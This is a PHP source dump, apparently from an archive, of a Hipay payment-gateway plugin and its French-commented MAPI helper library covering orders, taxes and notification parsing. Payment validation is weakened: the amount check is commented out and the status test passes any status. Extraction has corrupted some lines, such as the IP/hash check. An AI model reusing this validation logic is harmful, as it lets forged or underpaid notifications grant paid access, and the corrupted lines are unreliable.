$transaction->setInvoiceLog($invoiceLog); try { $transaction->process(); } catch (Exception $e) { if ($invoiceLog) $invoiceLog->add($e); throw $e; } if ($invoiceLog) $invoiceLog->setProcessed(); //show thanks page without redirect if ($transaction->isFirst()) $this->displayThanks($request, $response, $invokeArgs, $transaction->getInvoice()); } */ public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Hipay($this, $request, $response, $invokeArgs); } } class Am_Paysystem_Transaction_Hipay extends Am_Paysystem_Transaction_Incoming { const AUTHORIZATION = 'authorization'; //Request for authorization in order to validate a bank card or to verify if the Hipay account of the payer has sufficient credit, with the intent to subsequently capture the transaction. const CANCELLATION = 'cancellation'; //Request for total or partial cancellation. const REFUND = 'refund'; //Request for total or partial refund. const CAPTURE = 'capture'; //Request for capture. const REJECT = 'reject'; //Rejected transaction after capture const SUBSCRIPTION = 'subscription'; //Cancellation of a subscription (the notification « status » will be cancel). const CANCEL = 'cancel'; const OK = 'ok'; protected $isfirst = false; protected $_xml; protected $_hash; function __construct(Am_Paysystem_Abstract $plugin, Am_Mvc_Request $request, Am_Mvc_Response $response, $invokeArgs) { parent::__construct($plugin, $request, $response, $invokeArgs); require_once dirname(__FILE__) . '/mapi/mapi_package.php'; // $r = HIPAY_MAPI_COMM_XML::analyzeNotificationXML($this->request->getPost('xml'), $operation, $status, $date, // $time, $transid, $amount, $currency, $idformerchant, $merchantdatas, $emailClient, $subscriptionId, $refProduct); $str = $this->request->getPost('xml'); //$request->getRawBody(); $xml = simplexml_load_string($str); //$this->_xml = $xml->mapi; $this->_xml = $xml; //The value of the MD5 is calculated for the information following the tag and preceding the tag . preg_match("/<\/md5content>(.*)<\/mapi>/im", $str, $matches); $this->_hash = md5($matches[1]); if (!$this->_xml) throw new Am_Exception_Paysystem_TransactionInvalid('Invalid xml received from Hipay: ' . $str); /* 1.0 c0783cc613bf025087b8bf5edecac824 capture ok 2010-02-23 4B83AEA905C49 753EA685B55651DC40F0C2784D5E1170 (if the transaction is attached to a subscription) 10.20 EUR REF6522 email_client@hipay.com <_aKey_id_client>2000 <_aKey_credit>10 REF6522 */ } public function isFirst() { return $this->isfirst; } public function getInvoice() { return $this->invoice; } public function findInvoiceId() { return $this->_xml->result->merchantDatas->_aKey_invoice_id; } public function getUniqId() { return $this->_xml->result->transid; } public function getReceiptId() { return $this->_xml->result->subscriptionId; } public function validateSource() { $this->_checkIp(<<_hash == $this->_xml->md5content; } public function validateStatus() { if (!$this->_xml->result->status == self::OK && !$this->_xml->result->status == self::CANCEL) throw new Am_Exception_Paysystem_TransactionInvalid("Status is not [ok]"); return true; } public function validateTerms() { /* disabled cause of errors like * Transaction First Total [29] does not match expected [1] * if ($this->invoice->status == Invoice::PENDING) $this->assertAmount($this->invoice->first_total, $this->getAmount(), 'First Total'); else $this->assertAmount($this->invoice->second_total, $this->getAmount(), 'Second Total'); */ return true; } public function getAmount() { return $this->_xml->result->origAmount; } public function processValidated() { if ($this->invoice->status == Invoice::PENDING) $this->isfirst = true; switch ($this->_xml->result->operation) { case self::AUTHORIZATION : if($this->invoice->status == Invoice::PENDING && $this->invoice->first_total <= 0) $this->invoice->addAccessPeriod($this); break; case self::CAPTURE : if ($this->getAmount() > 0) $this->invoice->addPayment($this); elseif ($this->invoice->status == Invoice::PENDING) $this->invoice->addAccessPeriod($this); break; case self::CANCELLATION : case self::SUBSCRIPTION : $this->invoice->setCancelled(true); break; case self::REFUND : case self::REJECT : $this->invoice->stopAccess($this); break; } } }PK\86 !payment/hipay/mapi/mapi_utils.phpnu[isPercentage()) { $taxAmount=sprintf("%.02f",($itemValue/100)*$tax->getTaxVal()); } else { $taxAmount+=sprintf("%.02f",$tax->getTaxVal()); } return (float)$taxAmount; } /** * Vérifie la validité d'une URL * * @param string $url * @return boolean */ public static function checkURL( $url ) { return preg_match( '#^(((http|https):\/\/){0,1})(([A-Z0-9][A-Z0-9_-]*)(\.[A-Z0-9][A-Z0-9_-]*)+)(.*)#i', $url ); } /** * Vérifie la validité de l'email * * @param string $email * @return boolean */ public static function checkemail( $email ) { return preg_match( '#^[_a-z0-9-]+(\.[_a-z0-9-]*)*@[a-z0-9-]+(\.[a-z0-9-]+)+$#i', $email ); } /** * convertit un délai mapi en tableau * * @param string $delay * @return array */ public static function parseDelay( $delay ) { $array = array_fill_keys( array('H', 'I', 'S', 'M', 'D', 'Y'), 0 ); $n = substr( $delay, 0, -1 ); $r = substr( $delay, -1, 1 ); $array[ strtoupper($r) ] = $n; return $array; } /** * Renvoie le flux xml sous forme de tableau associatif multi dimensionnel * php.net Julio Cesar Oliveira * * @param string $xml * @param boolean $recursive * * @return array */ public static function xml2Array($xml, $recursive = false) { if(!$recursive) { $array = (array) simplexml_load_string($xml); } else { $array = (array) $xml; } $newArray = array(); foreach ($array as $key => $value) { $value = (array)$value; if (isset($value[0])) { $newArray[$key] = trim ($value[0]); } else { $newArray[$key] = self::xml2Array($value, true); } } return $newArray ; } } ?>PK\ payment/hipay/mapi/mapi_utf8.phpnu[= $len) break; if ($chr & 0x80) { $chr <<= 1; while ($chr & 0x80) { $i++; $chr <<= 1; } } } return $count; } } ?>PK\!+bE""$payment/hipay/mapi/mapi_comm_xml.phpnu[result[0]->url)) { $url = $obj->result[0]->url; return true; } if (isset($obj->result[0]->message)) $err_msg = $obj->result[0]->message; return false; } /** * Traitement du flux XML envoyé par HiPay notifiant le résultat d'une action sur une transaction * * @param string $xml * @param string $status * @param string $date * @param string $time * @param string $transid * @param string $origAmount * @param string $origCurrency * @param string $idformerchant * @param array $merchantdatas * @param string $emailClient * @param string $subscriptionId * @param array $refProduct * @return boolean */ public static function analyzeNotificationXML($xml,&$operation,&$status,&$date,&$time,&$transid,&$origAmount,&$origCurrency,&$idformerchant,&$merchantdatas,&$emailClient,&$subscriptionId,&$refProduct) { $operation=''; $status=''; $date=''; $time=''; $transid=''; $origAmount=''; $origCurrency=''; $idformerchant=''; $merchantdatas=array(); $emailClient=''; $subscriptionId=''; $refProduct=array(); try { $obj = new SimpleXMLElement(trim($xml)); } catch (Exception $e) { return false; } if (isset($obj->result[0]->operation)) $operation=$obj->result[0]->operation; else return false; if (isset($obj->result[0]->status)) $status=$obj->result[0]->status; else return false; if (isset($obj->result[0]->date)) $date=$obj->result[0]->date; else return false; if (isset($obj->result[0]->time)) $time=$obj->result[0]->time; else return false; if (isset($obj->result[0]->transid)) $transid=$obj->result[0]->transid; else return false; if (isset($obj->result[0]->origAmount)) $origAmount=$obj->result[0]->origAmount; else return false; if (isset($obj->result[0]->origCurrency)) $origCurrency=$obj->result[0]->origCurrency; else return false; if (isset($obj->result[0]->idForMerchant)) $idformerchant=$obj->result[0]->idForMerchant; else return false; if (isset($obj->result[0]->merchantDatas)) { $d = $obj->result[0]->merchantDatas->children(); foreach($d as $xml2) { if (preg_match('#^_aKey_#i',$xml2->getName())) { $indice = substr($xml2->getName(),6); $xml2 = (array)$xml2; $valeur = (string)$xml2[0]; $merchantdatas[$indice]=$valeur; } } } if (isset($obj->result[0]->emailClient)) $emailClient=$obj->result[0]->emailClient; else return false; if (isset($obj->result[0]->subscriptionId)) $subscriptionId=$obj->result[0]->subscriptionId; foreach($obj->result[0] as $key=>$value) { if(preg_match('#^refProduct[\d]#', $key)) { $refProduct[] = (string)$value; } } return true; } } ?> PK\qqpayment/hipay/mapi/mapi_xml.phpnu[\n"; foreach($this as $name=>$value) { if ($noshow && substr($name,0,1)=='_') continue; if (!is_array($this->$name) && !is_object($this->$name) && !is_bool($this->$name)) { $xml.=str_repeat(chr(9),$t+1)."<$name>$value\n"; } else if (is_bool($this->$name)) { if ($value===true) $xml.=str_repeat(chr(9),$t+1)."<$name>true\n"; else $xml.=str_repeat(chr(9),$t+1)."<$name>false\n"; } else if (is_object($this->$name) && method_exists($this->$name,'getXML')) { $xml.=$this->$name->getXml($t+1); } else if (is_array($this->$name)) { $xml.=str_repeat(chr(9),$t+1)."<$name>\n"; $xml.=self::getXMLArray($this->$name,$t+1,$noshow); $xml.=str_repeat(chr(9),$t+1)."\n"; } // else : no getXML method available } $xml.=str_repeat(chr(9),$t)."\n"; return $xml; } /** * Cré le flux XML d'un tableau * * @param array $array * @param int $t * @return string */ protected function getXMLArray($array,$t=0,$noshow=true) { $xml=''; foreach($array as $name=>$value) { if (substr($name,0,1)=='_') continue; if (!is_array($array[$name]) && !is_object($array[$name]) && !is_bool($array[$name])) { $xml.=str_repeat(chr(9),$t+1)."<_aKey_$name>$value\n"; } else if (is_bool($array[$name])) { if ($value===true) $xml.=str_repeat(chr(9),$t+1)."<$name>true\n"; else $xml.=str_repeat(chr(9),$t+1)."<$name>false\n"; } else if (is_object($array[$name]) && method_exists($array[$name],'getXML')) { $xml.=$array[$name]->getXml($t+1); } else if (is_array($array[$name])){ $xml.=str_repeat(chr(9),$t+1)."<$name>\n"; $xml.=self::getXMLArray($array[$name],$t+1,$noshow); $xml.=str_repeat(chr(9),$t+1)."\n"; } } return $xml; } } ?>PK\֮=OO+payment/hipay/mapi/mapi_multiplepayment.phpnu[getFirst()===$nextInstallment->getFirst() || !$firstInstallment->getFirst()) { throw new Exception('Vous devez définir un objet installment pour le premier et les paiements suivants'); } $firstInstallment->setDelayTS(); $nextInstallment->setDelayTS( $firstInstallment->getDelayTS() ); try { parent::__construct($paymentParams,array($firstOrder,$nextOrder),array($firstInstallment,$nextInstallment)); } catch(Exception $e) { throw new Exception($e->getMessage()); } } /** * Retourne le montant total de la somme devant être * distribuée aux affiliés */ protected function _getTotalAmountForAffiliates($installement_nr) { $affiliates=$this->order[0]->getAffiliate(); if (!HIPAY_MAPI_UTILS::is_an_array_of($affiliates,'HIPAY_MAPI_Affiliate')) return false; $total_aff = 0; foreach($affiliates as $aff) { $total_aff+=$aff->getAmount(); } return $total_aff; } } ?>PK\Pw$payment/hipay/mapi/mapi_lockable.phpnu[_locked=true; } function __construct() { $this->_locked=false; } } ?>PK\Q)--)payment/hipay/mapi/mapi_simplepayment.phpnu[getMessage()); } } } ?>PK\m #payment/hipay/mapi/mapi_product.phpnu[_locked) return false; $name = HIPAY_MAPI_UTF8::forceUTF8($name); $len=HIPAY_MAPI_UTF8::strlen_utf8($name); if ($len<1 || $len>HIPAY_MAPI_MAX_PRODUCT_NAME_LENGTH) return false; $this->name=$name; return true; } /** * Retourne le nom du produit * * @return string */ public function getName() { return $this->name; } /** * Assigne les informations sur le produit * * @param string $info * @return boolean */ public function setInfo($info) { if ($this->_locked) return false; $info = HIPAY_MAPI_UTF8::forceUTF8($info); $len=HIPAY_MAPI_UTF8::strlen_utf8($info); if ($len>HIPAY_MAPI_MAX_PRODUCT_INFO_LENGTH) return false; $this->info=$info; return true; } /** * Retourne les informations sur le produit * * @return string */ public function getInfo() { return $this->info; } /** * Assigne la quantité de produit * * @param int $quantity * @return boolean */ public function setQuantity($quantity) { if ($this->_locked) return false; $quantity=(int)$quantity; if ($quantity<1) return false; $this->quantity=$quantity; return true; } /** * Retourne la quantité de produit * * @return int */ public function getQuantity() { return $this->quantity; } /** * Assigne la réference du produit * * @param string $ref * @return boolean */ public function setRef($ref) { if ($this->_locked) return false; $ref = HIPAY_MAPI_UTF8::forceUTF8($ref); $len=HIPAY_MAPI_UTF8::strlen_utf8($ref); if ($len>HIPAY_MAPI_MAX_PRODUCT_REF_LENGTH) return false; $this->ref=$ref; return true; } /** * Retourne la réference du produit * * @return string */ public function getRef() { return $this->ref; } /** * Assigne la catégorie du produit * * @param int $category * @return boolean */ public function setCategory($category) { if ($this->_locked) return false; $category = (int)$category; if ($category<1) return false; $this->category=$category; return true; } /** * Retourne la catégorie du produit * * @return int */ public function getCategory() { return $this->category; } /** * Assigne le montant unitaire HT du produit * * @param float $price * @return boolean */ public function setPrice($price) { if ($this->_locked) return false; $price = sprintf('%.02f',(float)$price); // if ($price<0) // return false; $this->price=$price; return true; } /** * Retourne montant unitaire HT du produit * * @return float */ public function getPrice() { return $this->price; } /** * Assigne les taxes s'appliquant à ce produit * * @param array $tax * @return boolean */ public function setTax($tax) { if ($this->_locked) return false; if (!HIPAY_MAPI_UTILS::is_an_array_of($tax,'HIPAY_MAPI_Tax')) return false; foreach ($tax as $obj) $this->tax[]= clone $obj; return true; } /** * Retourne les taxes s'appliquant à ce produit * * @return array */ public function getTax() { return $this->tax; } /** * Vérifie que l'objet est correctement initialisé * * @return boolean */ public function check() { //if ($this->name=='' || $this->quantity<0 || $this->category<0 || $this->price<0 || !HIPAY_MAPI_UTILS::is_an_array_of($this->tax,'HIPAY_MAPI_Tax')) if ($this->name=='' || $this->quantity<0 || $this->category<0 || !HIPAY_MAPI_UTILS::is_an_array_of($this->tax,'HIPAY_MAPI_Tax')) throw new Exception('L\'objet n\'à pas été initialisé. Vous devez préciser un nom de produit, une quantité, un prix, une catégorie et des taxes'); foreach($this->tax as $obj) { if (!$obj->check()) return false; } return true; } protected function init() { $this->name=''; $this->info=''; $this->quantity=-1; $this->ref=''; $this->category=-1; $this->price=-1; $this->tax=array(); } function __construct() { $this->init(); parent::__construct(); } } ?>PK\ %payment/hipay/mapi/mapi_affiliate.phpnu[0, $val est un pourcentage et $percentageTarget détermine * sur quels montants appliquer le pourcentage * * @var unknown_type */ protected $percentageTarget; /** * Montant à reversé à l'affilié * * @var unknown_type */ protected $_amount; /** * Montant de base sur lequel est calculé le montant * reversé à l'affilié * * @var unknown_type */ protected $_baseAmount; /** * Assigne le numéro de client * * @param int $customerId * @return boolean */ public function setCustomerId($customerId) { if ($this->_locked) return false; $customerId = (int)$customerId; if ($customerId<=0) return false; $this->customerId = $customerId; return true; } /** * Retourne le numéro de client * * @return int */ public function getCustomerId() { return $this->customerId; } /** * Assigne le numéro de compte * * @param int $accountId * @return boolean */ public function setAccountId($accountId) { if ($this->_locked) return false; $accountId = (int)$accountId; if ($accountId<=0) return false; $this->accountId = $accountId; return true; } /** * Retourne le numéro de compte * * @return int */ public function getAccountId() { return $this->accountId; } /** * Assigne le valeur de l'affiliation, qui est un montant fixe ou un pourcentage * S'il s'agit d'un pourcentage, $percentageTarget représente la cible, c'est à dire sur quels * montants est basé le montant de l'affiliation * * @param float $val * @param int $percentageTarget * @return boolean */ public function setValue($val,$percentageTarget=0) { if ($this->_locked) return false; $val = sprintf('%.02f',(float)$val); $percentageTarget = (int)$percentageTarget; if ($val<=0 || $percentageTarget<0) return false; if ($percentageTarget>0 && $val>100) return false; if ($percentageTarget>0 && $percentageTarget>HIPAY_MAPI_TTARGET_ALL) return false; $this->val = $val; $this->percentageTarget = $percentageTarget; $this->setAmount(); return true; } /** * Retourne la valeur de l'affiliation * * @return float */ public function getValue() { return $this->val; } /** * Retourne sur quoi s'applique le pourcentage * * @return int */ public function getPercentageTarget() { return $this->percentageTarget; } /** * Assigne le montant sur lequel sera calculé l'affiliation * * @param float $baseAmount * @return boolean */ public function setBaseAmount($baseAmount) { if ($this->_locked) return false; $baseAmount = sprintf('%.02f',(float)$baseAmount); if ($baseAmount<0) return false; $this->_baseAmount = $baseAmount; $this->setAmount(); return true; } /** * Retourne le montant sur lequel sera calculé l'affiliation * * @return int */ public function getBaseAmount() { return $this->_baseAmount; } /** * Retourne le montant calculé de l'affiliation * * @return float */ public function getAmount() { return $this->_amount; } /** * Assigne le montant calculé de l'affiliation * */ protected function setAmount() { if ($this->percentageTarget>0) { $this->_amount = sprintf('%.02f',($this->_baseAmount/100)*$this->val); } else { $this->_amount = sprintf('%.02f',$this->_baseAmount); } } /** * Vérifie que l'objet est bien initialisé * * @return boolean */ public function check() { if ($this->customerId<=0 || $this->accountId<=0 || $this->val<=0 || $this->percentageTarget<0) throw new Exception('Numéro de client, numéro de compte, valeur ou cible incorrects'); return true; } protected function init() { $this->customerId = 0; $this->accountId = 0; $this->_amount = 0; $this->_baseAmount = 0; $this->val = 0; $this->percentageTarget = 0; } function __construct() { $this->init(); parent::__construct(); } } ?>PK\J J $payment/hipay/mapi/mapi_send_xml.phpnu[Network problem ? Verify your proxy configuration in mapi_defs.php'; } else $output = ob_get_contents(); ob_end_clean(); curl_close($curl); if (HIPAY_MAPI_CURL_LOG_ON === true) { fclose($errorFileLog); } return $output; } /** * Prépare le flux XML * * @param string $xml * @return string */ public static function prepare($xml) { $cleanXML = ''; $xml = trim($xml); $md5 = hash('md5', $xml); $cleanXML = "\n"; $cleanXML.="\n"; $cleanXML.="" . MAPI_VERSION . "\n"; $cleanXML.='' . $md5 . "\n"; $cleanXML.=$xml; $cleanXML.="\n\n"; return trim($cleanXML); } } PK\ #6 payment/hipay/mapi/mapi_tax.phpnu[_locked) return false; $taxName = HIPAY_MAPI_UTF8::forceUTF8($taxName); $len=HIPAY_MAPI_UTF8::strlen_utf8($taxName); if ($len<1 || $len>HIPAY_MAPI_MAX_TAX_NAME_LENGTH) return false; $this->taxName=$taxName; return true; } /** * retourne le nom de la taxe * * @return string nom de la taxe */ public function getTaxName() { return $this->taxName; } /** * assigne la valeur de la taxe * * @param float $taxVal valeur de la taxe * @param boolean $percentage true si la valeur de la taxe est un pourcentage * @return boolean true si l'assignation s'est bien déroulée */ public function setTaxVal($taxVal,$percentage=true) { if ($this->_locked) return false; if (!is_bool($percentage)) return false; $taxVal = sprintf('%.02f',(float)$taxVal); if ($percentage && ($taxVal<=0 || $taxVal>100)) return false; $this->taxVal=$taxVal; $this->percentage=$percentage; return true; } /** * retourne la valeur de la taxe * * @return float valeur de la taxe */ public function getTaxVal() { return $this->taxVal; } /** * détermine si la valeur de la taxe est un pourcentage * * @return boolean true si la valeur de la taxe est un pourcentage */ public function isPercentage() { return $this->percentage; } /** * effectue une vérification des propriétés de la taxe * * @return boolean true si les propriétés de la taxe sont correctes */ public function check() { if ($this->taxName=='' || $this->taxVal<0) throw new Exception('Nom ou valeur de la taxe non initialisée'); return true; } /** * initilise les propriétés de la taxe * */ protected function init() { $this->taxVal=-1; $this->taxName=''; $this->percentage=false; $this->_amount=0; $this->_locked=false; } /** * assigne le montant calculé de la taxe * * @param float $amount montant calculé * @return boolean true si l'assignation s'est bien déroulée */ public function setTaxAmount($amount) { if ($this->_locked) return false; $amount=(float)$amount; if ($amount<0) $amount=0; $this->_amount = sprintf("%.02f",$amount); return true; } /** * retourne le montant calculé de la taxe * * @return float montant calculé */ public function getTaxAmount() { return $this->_amount; } /** * constructeur * */ function __construct() { $this->init(); parent::__construct(); } } ?>PK\| payment/hipay/mapi/mapi_item.phpnu[PK\pp%payment/hipay/mapi/mapi_exception.phpnu[keyword=$keyword; $this->value=$value; parent::__construct($msg,$code); } public function getKeyword() { return $this->keyword; } public function getValue() { return $this->value; } } ?>PK\Xj!payment/hipay/mapi/mapi_order.phpnu[_locked) return false; $shippingAmount = sprintf('%.02f',(float)$shippingAmount); if ($shippingAmount<0) { return false; } if (!HIPAY_MAPI_UTILS::is_an_array_of($shippingTax,'HIPAY_MAPI_Tax')) { return false; } $this->shippingAmount=$shippingAmount; foreach ($shippingTax as $obj) $this->shippingTax[]= clone $obj; return true; } /** * Retourne le montant des frais d'envoi * * @return float */ public function getShippingAmount() { return $this->shippingAmount; } /** * Retourne les taxes s'appliquants aux frais d'envoi * * @return array */ public function &getShippingTax() { return $this->shippingTax; } /** * Défini le montant des assurances * * @param float $insuranceAmount * @param array $insuranceTax * @return boolean */ public function setInsurance($insuranceAmount,$insuranceTax) { if ($this->_locked) return false; $insuranceAmount = sprintf('%.02f',(float)$insuranceAmount); if ($insuranceAmount<0) return false; if (!HIPAY_MAPI_UTILS::is_an_array_of($insuranceTax,'HIPAY_MAPI_Tax')) return false; $this->insuranceAmount=$insuranceAmount; foreach ($insuranceTax as $obj) $this->insuranceTax[]= clone $obj; return true; } /** * Retourne le montant des assurances * * @return float */ public function getInsuranceAmount() { return $this->insuranceAmount; } /** * Retourne les taxes s'appliquants aux assurances * * @return array */ public function &getInsuranceTax() { return $this->insuranceTax; } /** * Défini le montant des coûts fixes et les taxes s'y appliquant * * @param float $fixedCostAmount * @param array $fixedCostTax * @return boolean */ public function setFixedCost($fixedCostAmount,$fixedCostTax) { if ($this->_locked) return false; $fixedCostAmount = sprintf('%.02f',(float)$fixedCostAmount); if ($fixedCostAmount<0) return false; if (!HIPAY_MAPI_UTILS::is_an_array_of($fixedCostTax,'HIPAY_MAPI_Tax')) return false; $this->fixedCostAmount=$fixedCostAmount; foreach ($fixedCostTax as $obj) $this->fixedCostTax[]= clone $obj; return true; } /** * Retourne le montant des coûts fixes * * @return float */ public function getFixedCostAmount() { return $this->fixedCostAmount; } /** * Retourne les taxes s'appliquant aux coûts fixes * * @return array */ public function &getFixedCostTax() { return $this->fixedCostTax; } /** * Défini les affiliés qui recevront une rétribution pour cette commande * * @param array $affiliate * @return boolean */ public function setAffiliate($affiliate) { if ($this->_locked) return false; if (!HIPAY_MAPI_UTILS::is_an_array_of($affiliate,'HIPAY_MAPI_Affiliate')) return false; foreach ($affiliate as $obj) $this->affiliate[]= clone $obj; return true; } /** * Retourne la liste des affiliés de cette commande * * @return array */ public function &getAffiliate() { return $this->affiliate; } /** * Assigne l'intitulé de la commande * * @param string $orderTitle * @return boolean */ public function setOrderTitle($orderTitle) { if ($this->_locked) return false; $orderTitle = HIPAY_MAPI_UTF8::forceUTF8($orderTitle); $len=HIPAY_MAPI_UTF8::strlen_utf8($orderTitle); if ($len<1 || $len>HIPAY_MAPI_MAX_TITLE_LENGTH) return false; $this->orderTitle=$orderTitle; return true; } /** * Retourne l'intitulé de la commande * * @return string */ public function getOrderTitle() { return $this->orderTitle; } /** * Assigne les infos sur la commande * * @param string $orderInfo * @return boolean */ public function setOrderInfo($orderInfo) { if ($this->_locked) return false; $orderInfo = HIPAY_MAPI_UTF8::forceUTF8($orderInfo); $len=HIPAY_MAPI_UTF8::strlen_utf8($orderInfo); if ($len>HIPAY_MAPI_MAX_INFO_LENGTH) return false; $this->orderInfo=$orderInfo; return true; } /** * Retourne les infos sur la commande * * @return string */ public function getOrderInfo() { return $this->orderInfo; } /** * Assigne la catégorie de la commande * * @param int $orderCategory * @return boolean */ public function setOrderCategory($orderCategory) { if ($this->_locked) return false; $orderCategory = (int)$orderCategory; if ($orderCategory<1) return false; $this->orderCategory=$orderCategory; return true; } /** * Retourne la catégorie de la commande * * @return int */ public function getOrderCategory() { return $this->orderCategory; } /** * Vérifie si l'objet est correctement initialisé * * @return boolean */ public function check() { if ($this->orderTitle=='' || $this->orderCategory<0) throw new Exception('L\'intitulé et/ou la catégorie de la commande sont manquants'); foreach($this->affiliate as $obj) { try { $obj->check(); } catch (Exception $e) { throw new Exception($e->getMessage()); } } foreach($this->shippingTax as $obj) { try { $obj->check(); } catch (Exception $e) { throw new Exception($e->getMessage()); } } foreach($this->insuranceTax as $obj) { try { $obj->check(); } catch (Exception $e) { throw new Exception($e->getMessage()); } } foreach($this->fixedCostTax as $obj) { try { $obj->check(); } catch (Exception $e) { throw new Exception($e->getMessage()); } } return true; } protected function init() { $this->shippingAmount=0; $this->shippingTax=array(); $this->insuranceAmount=0; $this->insuranceTax=array(); $this->fixedCostAmount=0; $this->fixedCostTax=array(); $this->affiliate=array(); $this->orderTitle=''; $this->orderInfo=''; $this->orderCategory=-1; } function __construct() { $this->init(); parent::__construct(); } } ?>PK\ǘ==#payment/hipay/mapi/mapi_package.phpnu[PK\Fcȣ++#payment/hipay/mapi/mapi_payment.phpnu[init($paymentParams,$order,$items); } catch(Exception $e) { throw new Exception($e->getMessage()); } } protected function init($paymentParams,$order,$items) { if (!($paymentParams instanceof HIPAY_MAPI_PaymentParams) || !HIPAY_MAPI_UTILS::is_an_array_of($order,'HIPAY_MAPI_Order') || !HIPAY_MAPI_UTILS::is_an_array_of($items,'HIPAY_MAPI_Item') || count($items)<1) throw new Exception('Wrong parameters'); try { $paymentParams->check(); } catch (Exception $e) { throw new Exception($e->getMessage()); } foreach($order as $orderObj) { try { $orderObj->check(); } catch (Exception $e) { throw new Exception($e->getMessage()); } } foreach($items as $obj) try { $obj->check(); } catch (Exception $e) { throw new Exception($e->getMessage()); } $this->paymentParams= clone $paymentParams; $this->paymentParams->lock(); foreach($order as $obj) { $this->order[]= clone $obj; end($this->order)->lock(); $this->_taxItemsAmount[]=0; $this->_taxShippingAmount[]=0; $this->_taxInsuranceAmount[]=0; $this->_taxFixedCostAmount[]=0; $this->_itemsTotalAmount[]=0; $this->_taxTotalAmount[]=0; $this->_orderTotalAmount[]=0; $this->_affiliateTotalAmount[]=0; } foreach($items as $obj) { $this->items[]= clone $obj; end($this->items)->lock(); } try { $this->compute(); } catch(Exception $e) { throw new Exception($e->getMessage()); } } /** * Calcul les différents montants (taxes, affiliés, totaux) de la commande * */ protected function compute() { // Mise à jour du montant total des taxes pour chaque item du tableau _taxItemsAmount // Mise à jour du montant total des taxes de livraison pour chaque order du tableau _taxShippingAmount // Mise à jour du montant total des taxes d'assurances pour chaque order du tableau _taxInsuranceAmount // Mise à jour du montant total des taxes de couts fixes pour chaque order du tableau _taxFixedCostAmount $this->computeTaxes(); // Mise a jour du montant total HT des produits pour chaque item du tableau _itemsTotalAmount $this->computeItemsAmount(); // Pour chaque commande foreach($this->order as $key=>$order) { $this->_taxTotalAmount[$key] = $this->_taxItemsAmount[$key] + $this->_taxShippingAmount[$key] + $this->_taxInsuranceAmount[$key] + $this->_taxFixedCostAmount[$key]; $this->_orderTotalAmountHT[$key] = $order->getShippingAmount() + $order->getInsuranceAmount() + $order->getFixedCostAmount() + $this->_itemsTotalAmount[$key]; $this->_orderTotalAmount[$key] = $this->_orderTotalAmountHT[$key] + $this->_taxTotalAmount[$key]; // $this->_orderTotalAmount[$key] = $order->getShippingAmount() + $order->getInsuranceAmount() + $order->getFixedCostAmount() + $this->_itemsTotalAmount[$key] + // $this->_taxItemsAmount[$key] + // $this->_taxShippingAmount[$key] + // $this->_taxInsuranceAmount[$key] + // $this->_taxFixedCostAmount[$key]; } try { $this->computeAffiliates(); } catch(Exception $e) { throw new Exception($e->getMessage()); } } /** * Calcul le montant des taxes * */ protected function computeTaxes() { // Taxes sur les produits au niveau de l'item (ligne de commande) // @FIXME bug et confusion entre indice d'item et indice d'order ? $cur=0; // pour chaque ligne de commande foreach($this->items as $item) { // Liste des taxes de la ligne $itemTaxes= $item->getTax(); $tItemsAmount=0; // pour chaque taxe appliquée sur cette ligne foreach($itemTaxes as $tax) { $amount=HIPAY_MAPI_UTILS::computeTax($item->getPrice(),$tax); $tax->setTaxAmount($amount); $tax->lock(); // mise a jour du montant total des taxes pour cet item (ligne de commande) $tItemsAmount+=$amount; } if (!isset($this->order[$cur])) $cur=0; if (!isset($this->_taxItemsAmount[$cur])) $this->_taxItemsAmount[$cur]=0; // mise a jour du montant total des taxes pour cette ligne de commande // avec prise en compte du nombre de produits dans l'indice numLigneCommande // du tableau _taxItemsAmount de cette commande $this->_taxItemsAmount[$cur]+=($tItemsAmount*$item->getQuantity()); $item->lock(); $cur++; } // Taxes sur frais d'envoi, assurances, coûts fixes // au niveau des commandes $cur=0; foreach($this->order as $order) { // Taxes sur frais d'envoi $taxArr =& $order->getShippingTax(); foreach($taxArr as $key=>$tax) { $amount=HIPAY_MAPI_UTILS::computeTax($order->getShippingAmount(),$tax); $taxArr[$key]->setTaxAmount($amount); $taxArr[$key]->lock(); if (!isset($this->_taxShippingAmount[$cur])) $this->_taxShippingAmount[$cur]=0; $this->_taxShippingAmount[$cur]+=$amount; } // Taxes sur assurances $taxArr =& $order->getInsuranceTax(); foreach($taxArr as $key=>$tax) { $amount=HIPAY_MAPI_UTILS::computeTax($order->getInsuranceAmount(),$tax); $taxArr[$key]->setTaxAmount($amount); $taxArr[$key]->lock(); if (!isset($this->_taxInsuranceAmount[$cur])) $this->_taxInsuranceAmount[$cur]=0; $this->_taxInsuranceAmount[$cur]+=$amount; } // Taxes sur coûts fixes $taxArr =& $order->getFixedCostTax(); foreach($taxArr as $key=>$tax) { $amount=HIPAY_MAPI_UTILS::computeTax($order->getFixedCostAmount(),$tax); $taxArr[$key]->setTaxAmount($amount); $taxArr[$key]->lock(); if (!isset($this->_taxFixedCostAmount[$cur])) $this->_taxFixedCostAmount[$cur]=0; $this->_taxFixedCostAmount[$cur]+=$amount; } $cur++; } } /** * Calcul le montant total HT des produits * */ protected function computeItemsAmount() { $itemsAmount=0; $cur=0; foreach($this->items as $item) { $mt=sprintf("%.02f",$item->getPrice()*$item->getQuantity()); if (!isset($this->order[$cur])) $cur=0; if (!isset($this->_itemsTotalAmount[$cur])) $this->_itemsTotalAmount[$cur]=0; $this->_itemsTotalAmount[$cur]+=$mt; $cur++; } } /** * Retourne le montant total des taxes * * @param array $tItemsAmount * @param array $tShippingAmount * @param array $tInsuranceAmount * @param array $tFixedCostAmount */ public function getTotalTaxes(&$tItemsAmount,&$tShippingAmount,&$tInsuranceAmount,&$tFixedCostAmount) { $tItemsAmount=$this->getItemsTaxes();; $tShippingAmount=$this->getShippingTaxes(); $tInsuranceAmount=$this->getInsuranceTaxes(); $tFixedCostAmount=$this->getFixedCostTaxes(); } /** * Retourne le montant des taxes sur les articles * * @return float */ public function getItemsTaxes() { return $this->_taxItemsAmount; } /** * Retourne le montant des taxes sur les frais de port * * @return float */ public function getShippingTaxes() { return $this->_taxShippingAmount; } /** * Retourne le montant des taxes sur les assurances * * @return float */ public function getInsuranceTaxes() { return $this->_taxInsuranceAmount; } /** * Retourne le montant des taxes sur les couts fixes * * @return float */ public function getFixedCostTaxes() { return $this->_taxFixedCostAmount; } /** * Retourne le montant total des produits * * @return array */ public function getItemsTotalAmount() { return $this->_itemsTotalAmount; } /** * Retourne le montant total des taxes * * @return array */ public function getTaxesTotalAmount() { return $this->_taxTotalAmount; } /** * Retourne le montant total hors taxes de la commande * * @return 